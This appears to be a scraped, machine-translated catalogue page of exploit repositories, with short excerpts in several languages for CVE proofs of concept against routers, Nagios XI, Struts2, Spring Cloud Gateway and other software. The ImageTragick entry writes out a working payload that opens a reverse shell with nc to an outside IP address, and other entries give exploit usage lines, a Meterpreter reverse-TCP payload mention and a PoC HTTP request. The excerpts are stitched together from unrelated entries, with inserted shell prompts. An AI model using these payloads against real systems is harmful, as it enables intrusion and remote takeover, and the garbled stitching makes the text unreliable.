corelight-client

.. corelight-client: .. Die Versionsnummer wird automatisch eingefügt. .. |version| replace:: 1.5.17 ==================================== Corelight-Sensor-Befehlszeilenclient .. contents:: Übersicht Dieses Tool bietet einen Befehlszeilenclient für den Corelight Sensor , eine von den Bro-Entwickle...

PHPStudy-Backdoor

PHPStudy-Backdoor बैकडोर भेद्यता पुनरुत्पादन phpstudy dll backdoor for v2016 and v2018 0x01 scan search for backdoor dll root@kitploit: D:\Pentester\phpStudypython check.py === .\php\php-5.2.17\ext\phpxmlrpc.dll === @eval%s'%s'; %s;@eval%s'%s'; === .\php\php-5.4.45\ext\phpxmlrpc.dll ===...

CVE-2026-39987_PoC

CVE-2026-39987-PoC Aviso Legal Este script é APENAS para fins educacionais e de testes autorizados. O uso não autorizado desta ferramenta contra sistemas sem permissão explícita é ILEGAL. O autor não é responsável por qualquer uso indevido destas informações. Versões do Marimo anteriores a 0.23.0...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnérabilité d'élévation de privilèges sur les routeurs MitraStar Appareil : Mitrastar GPT-2541GNAC-N1 Micrologiciel : BRg3.5100VNZ0b33 non testé sur les autres versions Exploit : Les appareils Mitrastar GPT-2541GNAC-N1 sont...

Privilege-escalation-ASKEY

Privilegieneskalation-ASKEY-Router-RTF3505VW-N1 CVE-2022-47040 Schwachstelle zur Privilegieneskalation bei ASKEY-Routern Gerät: ASKEY RTF3505VW-N1 Firmware: BRSVg000R3505VMN1001s327 in anderen Versionen nicht getestet CLI-Version: ReducedCLIHGUv13 Exploit: ASKEY-RTF3505VW-N1-Geräte bieten über SS...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE उपयोग स्क्रिप्ट को के साथ चलाएँ root@kitploit: dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse TCP...

CVE-2024-29973

CVE-2024-29973 – Sicherheitslücke zur Remote-Befehlsinjektion Beschreibung Bei CVE-2024-29973 handelt es sich um eine kritische Sicherheitslücke in bestimmten Netzwerkgeräten von Zyxel. Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Befehle auf dem Zielgerät...

CVE-2022-22947

CVE-2022-22947 Запуск: CVE-2022-22947.exe ip команда Затронутые версии: Spring Cloud Gateway 3.1.1 Spring Cloud Gateway 3.0.7 Spring Cloud Gateway другие версии, которые больше не обновляются...

poc-yaws-cgi-shell-injection

Yaws वेब सर्वर में OS कमांड इंजेक्शन CVE-2020-24916 प्रूफ ऑफ कॉन्सेप्ट परीक्षण इमेज बनाएं: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . और/या कंटेनर चलाएं docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...

linux_mint_poc

Linux Mint 18.3-19.1 'yelp' 명령 삽입 버그 근본 원인 URI 핸들러 help://, ghelp://, man://는 /usr/share/applications/yelp.desktop 파일에 정의되어 있으며, 해당 URI 핸들러 중 하나가 호출될 때마다 Exec=yelp %u를 통해 /usr/local/bin/yelp를 실행합니다. /usr/local/bin/yelp 파일은 수신된 URI 핸들러 요청을 구문 분석하는 간단한 파이썬 스크립트입니다. 이 스크립트는 먼저 "gnome-help" 및...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs An Nagios XI gemeldete Bugs CVE-2021-25296 Code-Stelle /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Code-Ausschnitt root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .=...

CentOS-Control-Web-Panel-CVE

CentOS Control Web Panel Version 0.9.8.836 - 0.9.8.847 Am 29. Juni 2019 begann unser Team, Schwachstellen im CentOS Control Web Panel CWP Version 0.9.8.836 zu suchen, und wir fanden einige kritische Schwachstellen. Einige der von uns gefundenen Schwachstellen können zu einer Kette verbunden werde...

CVE-2019-20197

Уязвимость удаленного выполнения команд в Nagios XI CVE-2019-20197 PoC: POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2020-28243

CVE-2020-28243 Уязвимость внедрения команд в SaltStack Salt позволяет повысить привилегии через специально созданные имена процессов на миньоне, когда мастер вызывает restartcheck. Полное описание см. в этой статье. Затронутые версии: Все версии от 2016.3.0rc2 до 3002.2 Ссылки: Mitre, NVD...

CVE-2026-67599_ClearOS_RCE

Injeção de Comando do SO no Parâmetro de Filtro do Visualizador de Logs Pacote: ClearFoundation Versões Testadas: ClearOS 7.9.1.342252 Tipo de Vulnerabilidade: Injeção de Comando do SO CWE-78 Gravidade: Alta CVE : CVE-2026-67599 Vetor CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H...

cve-2019-16278

CVE-2019-16278 Это эксплойт для уязвимости CVE-2019-16278. Он позволяет выполнять удалённый код на сервере nhttpd версии 1.9.6. Сборка из исходного кода Этот инструмент написан на Rust, и вам необходимо установить компилятор Rust, что очень легко сделать, следуя инструкциям на их странице...

CVE-2017-5638

PoC для CVE: 2017-5638 - Apache Struts2 S2-045 Привет! Я переработал оригинальный скрипт, чтобы использовать библиотеку requests, другие библиотеки вызывали у меня некоторые ошибки. Надеюсь, это поможет! Использование: python3 cve-2017-5638 url cmd-command...

SPIP-CVE-2024-23659-

SPIP-CVE-2024-23659- Python-3-Skript zur Validierung/Ausnutzung von nicht authentifiziertem RCE in SPIP BigUp gemäß aktuellem Code, operative Referenz auf CVE-2024-8517. ⚠️ Wichtiger Hinweis: Der Repository-Name erwähnt CVE-2024-23659, aber das Skript cve.py und seine internen Meldungen verweisen...

Exploit_CVE-2026-3854

ExploitCVE-2026-3854 CVE-2026-3854 ist eine Remote Code Execution in GitHub.com und GitHub Enterprise Server Die Schwachstelle kann ausgenutzt werden, indem Befehle wie folgt in den git push-Befehl injiziert werden: root@kitploit: git push -o '' origin master Um eine Ausnutzung dieser Schwachstel...